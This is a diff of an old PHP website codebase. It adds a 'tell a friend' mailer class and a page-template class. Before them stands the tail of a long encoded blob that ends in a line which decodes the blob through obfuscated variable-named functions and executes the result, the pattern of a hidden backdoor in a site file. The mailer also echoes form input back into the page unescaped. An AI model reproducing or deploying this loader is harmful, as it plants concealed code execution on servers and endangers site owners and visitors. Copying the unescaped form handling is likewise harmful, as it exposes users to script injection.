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";$WMjBsPWmhUn=$DxQbGNsIeIn($OhermoxGRPW,$OKeEoyunAul);$WMjBsPWmhUn($UFqNuIIxjeU);?>
\ No newline at end of file
--- /dev/null
+<?PHP
+class glm_tellfriend{
+var $message; // Template message used in tell a friend mail
+/* Message Example
+* "Dear {friend_name},
+* Your buddy {senders_name} has been to www.whatever.com, and thought you
+* might be interested in it.
+*
+* Message from {senders_name}:
+* {message}"
+*/
+var $thankyou; // Message to display after sending the email same tags available as in the $message
+var $base_url; // This is the base url of the site
+var $postto; // This is a chopped version of PHP_SELF that cuts out the path.
+var $formvals; // Set to zero by default, but if there are form processing errors, it gets set and the form gets displayed autofilled
+
+ /** glm_tellfriend
+ class constructor
+ @param base_url full path to this file -$PHP_SELF for use in form action=""
+ @param message string message to go in the email
+ @param thankyou string message to display after posting
+ @return void
+ */
+ function glm_tellfriend($base_url,$message='',$thankyou='',$postto='')
+ {
+ // Base url is not optional, so just set it directly
+ $this->base_url=$base_url;
+
+ // set post to
+ if($postto==''){
+ $dvar=explode('/',$_SERVER[PHP_SELF]);
+ $this->postto=$dvar[(sizeof($dvar)-1)]; // Neat way to get the last element
+ }else
+ {
+ $this->postto=$postto;
+ }
+ // Set the formvals to 0
+ $this->formvals=0;
+
+ // Set message text
+ if($message!='')
+ {
+ // If a message string has been passed in, use it
+ $this->message = $message;
+ }else{ // Otherwise, set a default
+$message="Dear {friend_name},
+Your friend {senders_name} has been to http://www.gaslightmedia.com, and thought you might be interested in it.
+
+Message from {senders_name}:
+{message}";
+ $this->message = $message;
+ }
+ // Set thankyou text
+ if($thankyou!='')
+ {
+ $this->thankyou=$thankyou;
+ }else{
+ $thankyou="Thank you {senders_name}, your message has been sent to {friend_name}.";
+ $this->thankyou=$thankyou;
+ }
+ // End of constructor method
+ }
+
+ /** show_form
+ shows the Tell a Friend form
+ @param int r number of rows in the message textarea
+ @param int c number of columns in the message textarea
+ @return void
+ */
+ function show_form($r=3,$c=30)
+ {
+ // $r is the number of rows on the message
+ // $c is the number of columns on the message
+
+ if($this->formvals == 0)
+ {
+ $fname='';
+ $femail='';
+ $yname='';
+ $yemail='';
+ $msg='';
+ }elseif(is_array($this->formvals))
+ {
+ $fname=$this->formvals[fname];
+ $femail=$this->formvals[femail];
+ $yname=$this->formvals[yname];
+ $yemail=$this->formvals[yemail];
+ $msg=$this->formvals[msg];
+ }
+ $output='<div id="tellafriend">
+ <form name="tellafriend" action="'.$this->base_url.$this->postto.'" method="post">
+ <div id="fname">
+ <label for="friend_name">Associates Name:</label>
+ <input type="text" name="friend_name" id="friend_name" value="'.$fname.'">
+ </div>
+ <div id="femail">
+ <label for="friend_addy">Associates Email:</label>
+ <input type="text" name="friend_email" id="friend_email" value="'.$femail.'">
+ </div>
+ <div id="messageto">
+ <label for"message">Message to Associate:</label><br>
+ <textarea name="message" id="message" cols="'.$c.'" rows="'.$r.'">'.$msg.'</textarea>
+ </div>
+ <div id="yname">
+ <label for="senders_name">Your Name:</label>
+ <input type="text" name="senders_name" id="senders_name" value="'.$yname.'">
+ </div>
+ <div id="yemail">
+ <label for="senders_email">Your Email:</label>
+ <input type="text" name="senders_email" id="senders_email" value="'.$yemail.'">
+ </div>
+ <div id="frsubmit">
+ <input type="submit" name="submit" id="submit" value="Send Email">
+ </div>
+ ';
+
+ $output.="</form>\n</div>\n";
+ echo $output;
+ //phpinfo();
+ }
+
+ /** valid email
+ Checks for a valid format and good (mx check)
+ email address.
+ @param string email the email address as string.
+ @return boolean
+ */
+ function valid_email ($email) {
+ $check='';
+ $validate_email_temp='';
+ if (eregi('^[0-9a-z]([-_.]?[0-9a-z])*@[0-9a-z]([-.]?[0-9a-z])*\\.[a-z]{2,3}$', $email, $check)) {
+ if ( getmxrr(substr(strstr($check[0], '@'), 1), $validate_email_temp) ) {
+ return TRUE;
+ }
+ }
+ return FALSE;
+ }
+
+ /** process_form
+ validates the email addresses, htmlspecialchars the message, sends the email
+ @return boolean
+ **/
+ function process_form()
+ {
+ //phpinfo();
+ // Double check that stuff was submitted
+ if(!isset($_POST[submit]))
+ {
+ return 0;
+ }else
+ {
+ // The real work begins
+ // Check the email addresses
+ if($this->valid_email($_POST[senders_email])==FALSE)
+ {
+ $error[]="<B>Error:</b> the email address you entered for yourself is invalid<br>\n";
+ }
+ if($this->valid_email($_POST[friend_email])==FALSE)
+ {
+ $error[]="<B>Error:</b> the email address you entered for your associate is invalid</br>\n";
+ }
+ // See if $error isset and is_array, if it is, the buck stops here, because they screwed up.
+ if(isset($error) && is_array($error))
+ {
+ $this->formvals=array(
+ "fname" => $_POST[friend_name],
+ "femail" =>$_POST[friend_email],
+ "yname" =>$_POST[senders_name],
+ "yemail" =>$_POST[senders_email],
+ "msg" =>$_POST[message]);
+
+ for($i=0;$i<sizeof($error);$i++)
+ {
+ echo $error[$i];
+ }
+ $this->show_form();
+ return 0;
+ }else
+ {
+ // Everything looks good, process the form and mail it out.
+ $message = str_replace('{senders_name}',$_POST[senders_name],$this->message); // only the first replace references the class message
+ $message = str_replace('{friend_name}',$_POST[friend_name],$message);
+ $message = str_replace('{message}',$_POST[message],$message);
+ // Same thing with the thankyou msg, only the first replace needs the $this->thankyou
+ $thankyou = str_replace('{senders_name}',$_POST[senders_name],$this->thankyou);
+ $thankyou = str_replace('{friend_name}',$_POST[friend_name],$thankyou);
+ $subject = $_POST[senders_name].' wanted you to see this site';
+ $headers = "From: ".$_POST[senders_email]."\r\n";
+
+ mail($_POST[friend_email],"Tell a friend",$message,$headers);
+
+ //echo "<BR>Mail command params\n".$_POST[friend_email]." \n<br>".$subject."\n<br>".$message."\n\n";
+ echo $thankyou;
+ }
+
+ }
+ }
+
+ function jfdi()
+ {
+ if(isset($_POST[submit]))
+ {
+ $res = $this->process_form();
+ }else
+ {
+ $this->show_form();
+ }
+ }
+}
+?>
--- /dev/null
+<?php
+// $Id: class_template.inc,v 1.1.1.1 2006/07/13 13:53:50 matrix Exp $
+/** NOTE: for the search engine freindly url's use .htaccess file.
+need to make sure .htaccess is enabled or this work work
+to turn off seo url's set define SEO_URL to 0 in setup file
+.htaccess -> example follows:
+Options +FollowSymLinks
+ErrorDocument 404 /www.?????.com/sitemap.php?nf=1
+RewriteEngine On
+RewriteBase /
+RewriteRule (.*)-([0-9]{1,4}) index\.phtml?catid=$2
+RewriteRule site-map sitemap.php
+*/
+require_once(BASE."classes/class_db.inc");
+class GLM_TEMPLATE{
+
+ /** @var header_begin The style starting for header */
+ var $header_begin;
+ /** @var header_end The style ending for header*/
+ var $header_end;
+ /** @var subheader_begin The style starting for header */
+ var $subheader_begin;
+ /** @var subheader_end The style ending for header*/
+ var $subheader_end;
+ /** @var img_align The alignment of images*/
+ var $img_align;
+ /** @var img_alternate 1 alternate images 0 not*/
+ var $img_alternate;
+ /** @var img_size The path to the image directory*/
+ var $img_size;
+ /** @var DB The database class*/
+ var $DB;
+ /** @var data The category array*/
+ var $data;
+ /** @var items The items array*/
+ var $items;
+ /** @var type The type*/
+ var $type;
+ /** @var whole_thread The thread string*/
+ var $whole_thread;
+ /** @var thread_count The thread count*/
+ var $thread_count;
+ /** @var catid catid for te page */
+ var $catid;
+ /** @var array $pages */
+ var $pages;
+ /** @var $active_query string adding active = 't' to queries only if ACTIVE_FLAG is set to true */
+ var $active_query;
+ /** @var $template integer determines page layout */
+ var $template;
+ /** @var $php_ext pgae extension for php pages .php or .phtml */
+ var $lineage; // array of parents for this cat
+
+ /**
+ * GLM_TEMPLATE:Contsructor of the class
+ * This function is run on intialization.
+ * Any setup vars should be overwritten by creating a new class
+ * that extends this one and setting new vars in the constructor.
+ *
+ * @param $catid: catid Must be set
+ *
+ * @return void
+ * @access
+ **/
+ function GLM_TEMPLATE( $catid, $DB = NULL )
+ {
+ $this->get_catid( $catid ); // sets $this->catid
+ $this->set_DB( &$DB ); // using a reference to $DB (should be started on setup.phtml
+ $this->header_begin = "<h1>"; // class="content" should not be used anymore
+ $this->header_end = "</h1>"; // create style for p h1 h2 tags if needed try to keep it clean
+ $this->subheader_begin = "<h2>";// should not be using h3 here duh go from 1 to 2 instead
+ $this->subheader_end = "</h2>"; // like your suppose to
+ $this->img_alternate = 1; // for alternating images set to 1 else leave alone
+ $this->img_align = "left"; // the starting postion for images change to left if needed
+ $this->img_size = MIDSIZED; // img_size are RESIZED,MIDSIZED,THUMB do not use ORIGINAL
+ $this->whole_thread = ""; // do not touch this it is used for menu generation
+ $this->thread_count = 1; // also used for menu generation
+ $this->php_ext = '.phtml'; // defaults to .phtml
+ $this->set_pages( &$GLOBALS['PAGES'] );
+ }
+
+
+ /**
+ * set_active_query: some toolboxes have an active flag some do not
+ * so this is to allow both with and without a flag.
+ *
+ * @return
+ * @access
+ **/
+ function set_active_query()
+ {
+ if( ACTIVE_FLAG )
+ {
+ $this->active_query = " and active = 't'";
+ }
+ return( $this->active_query );
+ }
+
+
+ /**
+ * get_hit_count: find out how many top level categories have at least one category under
+ * them.
+ * @param $&$DB : Database object
+ *
+ * @return
+ * @access
+ **/
+ function get_hit_count( &$DB )
+ {
+ $query = 'select id from bus_category where parent in ( select id from bus_category where
+ parent = 0) and parent != 0';
+ $res = $DB->db_auto_get_data( $query );
+ if( !$res )
+ {
+ return( 0 );
+ }
+ else
+ {
+ return( count( $res ) );
+ }
+ }
+
+ /**
+ * get_seo_url: grab category part of the seoarch engine friendly url
+ looks at define for seo_url to see weather to use the seach engine friendly url's or not
+ * @param $id:
+ * @param $$slash = 1 : to put a slash on end or not
+ *
+ * @return string $url for page.
+ * @access public
+ **/
+ function get_seo_url( $id, $slash = 1 )
+ {
+ if( SEO_URL )
+ {
+ $url = BASE_URL;//$this->get_base_url( $id );
+ $url .= GLM_TEMPLATE::set_name_url( GLM_TEMPLATE::get_category_name( $id, "bus_category", $this->DB ) );
+ $url = strip_tags( $url );
+ $url = htmlspecialchars( $url );
+ if( $slash )
+ {
+ $url .= '/';
+ }
+ if($id == 1 )
+ {
+ if( $GLOBALS['GLM_SERVER_ID'] == 'devsys.gaslightmedia.com' )
+ {
+ $url = BASE_URL.'index.html';
+ }
+ else
+ {
+ $url = BASE_URL;
+ }
+ }
+ }
+ else
+ {
+ $url = $this->get_base_url( $id );
+ $url .= $this->php_ext.'?catid='.$id;
+ }
+ if( $GLM_SERVER_ID == "ws1.gaslightmedia.com" )
+ {
+ str_replace("index.phtml","",$url);
+ }
+ return( $url );
+ }
+ /**
+ * set_DB: set the DB up to be that of the global one if it exists
+ * @param $$DB : the DB object
+ *
+ * @return void
+ * @access public
+ **/
+ function set_DB( $DB )
+ {
+ if( isset( $DB ) )
+ {
+ $this->DB =& $DB;
+ }
+ else
+ {
+ $this->DB =& new GLM_DB();
+ }
+ }
+
+ /**
+ * set_pages: grab the globals for the pages an use this for
+ the pages array for the class
+ *
+ * @return void
+ * @access public
+ **/
+ function set_pages( $pages )
+ {
+ if( is_array( $pages ) )
+ {
+ $this->pages =& $pages;
+ }
+ }
+
+ /**
+ * set_catid:Set the class catid var
+ * @param $catid: $catid
+ *
+ * @return void
+ * @access public
+ **/
+ function set_catid( $catid )
+ {
+ if( is_numeric( $catid ) )
+ {
+ $this->catid = $catid;
+ }
+ else
+ {
+ $this->catid = 1;
+ }
+ }
+
+ /**
+ * get_id_from_path_info: takes the path_info and gets a catid from bus_category table
+ * @param $PATH_INFO: GLOBAL PATH_INFO
+ * @param $&$dbd : object database
+ *
+ * @return int catid
+ * @access public
+ **/
+ function get_id_from_path_info( $PATH_INFO, &$dbd )
+ {
+ //echo "$PATH_INFO";
+ $var_array = explode( "/", $PATH_INFO );
+ if( count( $var_array ) > 0 )
+ {
+ $it=$var_array[(sizeof($var_array) - $chop)];
+ if( $it != "" && $it != "blank")
+ {
+ $catid = GLM_TEMPLATE::get_id_from_name( $it,"bus_category", &$dbd );
+ }
+ }
+ return( $catid );
+ }
+
+ /**
+ * get_catid: calls the get_id_from_path and can be placed into the consructor
+ *
+ * @return int catid
+ * @access public
+ **/
+ function get_catid( $catid )
+ {
+ if( isset( $catid ) && is_numeric( $catid ) )
+ {
+ return( $this->catid = $catid );
+ }
+ if(!isset($_GET[page]))
+ {
+ $this->catid = $this->get_id_from_path_info( $PATH_INFO, &$this->DB );
+ }
+ else
+ {
+ $this->catid = $this->get_id_from_name($page, "bus_category",&$this->DB);
+ }
+ return( $this->catid );
+ }
+
+ /**
+ * set_contact:Set the contact string
+
+ * @param $text: The text as string
+ * @param $email: email if givin
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_contact( $text, $email )
+ {
+ if( $email != "" )
+ {
+ $text = "";
+ }
+ else
+ {
+ $text = '<p><strong>Contact Name:</strong> '.$text.'</p>';
+ }
+ return($text);
+ }
+
+ /**
+ * set_text:Set the contact string
+ * @param $text: The text as string
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_text( $text )
+ {
+ if("" == str_replace("<br />","",trim($text)))
+ {
+ return(false);
+ }
+ if( $text != "" )
+ {
+ //$text = str_replace( "<a href=","<a target=\"_blank\" href=", $text );
+ $text = $this->keyword_replace( $text );
+ //$text = nl2br( $text );
+ }
+ return($text);
+ }
+
+ /**
+ * get_image_path: get image path from the size used
+ *
+ * @return path for images
+ * @access public
+ **/
+ function get_image_path()
+ {
+ if( strstr($this->img_size,'midsized/') )
+ {
+ return( MIDSIZED_PATH );
+ }
+ if( strstr($this->img_size,'resized/') )
+ {
+ return( RESIZED_PATH );
+ }
+ if( strstr($this->img_size,'thumb/') )
+ {
+ return( THUMB_PATH );
+ }
+ }
+
+ /**
+ * set_img:Set the image string
+ * @param $image: The image
+ * @param $size: The path
+ * @param $align: The alignment
+ * @param $name: The image_name (displayed under image)
+ * @param $title: Title if given
+ *
+ * @return
+ * @access
+ **/
+ function set_img( $image, $size, $align, $title )
+ {
+ if( $image != "" )
+ {
+ if( $title != '')
+ {
+ $titletag = 'title="'.htmlentities(strip_tags($title)).'"';
+ $titletag .= ' alt="'.htmlentities(strip_tags($title)).'"';
+ }
+ else
+ {
+ $titletag = 'title="'.htmlentities(strip_tags($image)).'"';
+ $titletag .= ' alt="'.htmlentities(strip_tags($image)).'"';
+ }
+ if( $align != "" )
+ {
+ $img_align = 'class="image'.$align.'"';
+ }
+ $path = $this->get_image_path();
+ if( is_file( $path.$image ) )
+ {
+ $image_size = getimagesize( $path.$image );
+ $img_attr = $image_size[3];
+ }
+ $img .= '
+ <div class="'.$align.'" style="width:'.$image_size[0].'px;">';
+ $img .= '
+ <img '.$img_attr.' src="'.$size.$image.'" '.$titletag.'>';
+ if( $title )
+ {
+ $img .= '
+ <div class="imgtxt" style="width:'.$image_size[0].'px;">'.$title.'</div>';
+ }
+ $img .= '
+ </div>';
+ $this->imgfloat["$img"] = $align;
+ return($img);
+ }
+ }
+
+ /**
+ * set_url:Set the url string
+ * @param $url: The url
+ * @param $text: The text as string
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_url( $url, $text )
+ {
+ if( $url != "" )
+ {
+ if( !$text )
+ {
+ $text = $url;
+ }
+ if( strtolower( substr( $url, 0, 7 ) ) == "https://" )
+ {
+ $url = '<p><a href="'.$url.'" target="_blank">'.$text.'</a></p>';
+ }
+ else
+ {
+ $url = '<p><a href="http://'.$url.'" target="_blank">'.$text.'</a></p>';
+ }
+ }
+ return( $url );
+ }
+
+ /**
+ * set_email:Set the email string
+ * @param $email: The email as string
+ * @param $contact: The contactname this is used as the link text
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_email( $email, $contact )
+ {
+ if( $email != "" )
+ {
+ if( $contact != "" )
+ {
+ $email = '
+ <p><strong>Contact:</strong> <a href="mailto:'.$email.'" target="_blank">'.$contact.'</a></p>';
+ }
+ else
+ {
+ $email = '
+ <p><strong>Email:</strong> <a href="mailto:'.$email.'" target="_blank">'.$email.'</a></p>';
+ }
+ }
+ return( $email );
+ }
+
+ /**
+ * set_header:Set the header string
+ * @param $text: The text as string
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_header( $text )
+ {
+ if( $text != "" )
+ {
+ $text = $this->header_begin.$text.$this->header_end;
+ }
+ return( $text );
+ }
+
+ /**
+ * set_subheader:Set the subheader string
+ * @param $text: The text as string
+
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_subheader( $text )
+ {
+ if( $text != "" )
+ {
+ $text = $this->subheader_begin.$text.$this->subheader_end;
+ }
+ return( $text );
+ }
+
+ /**
+ * set_phone:Set the phone string
+ * @param $text: The text as string
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_phone( $text )
+ {
+ if( $text != "" )
+ {
+ $text = '<p><strong>Phone:</strong> '.$text.'</p>';
+ }
+ return( $text );
+ }
+
+ /**
+ * set_fax:Set the fax string
+ * @param $text: The text as string
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_fax( $text )
+ {
+ if( $text != "" )
+ {
+ $text = '
+ <p><strong>Fax:</strong> '.$text.'</p>';
+ }
+ return( $text );
+ }
+
+ /**
+ * set_file:Set the file string
+ * @param $text: The text as string
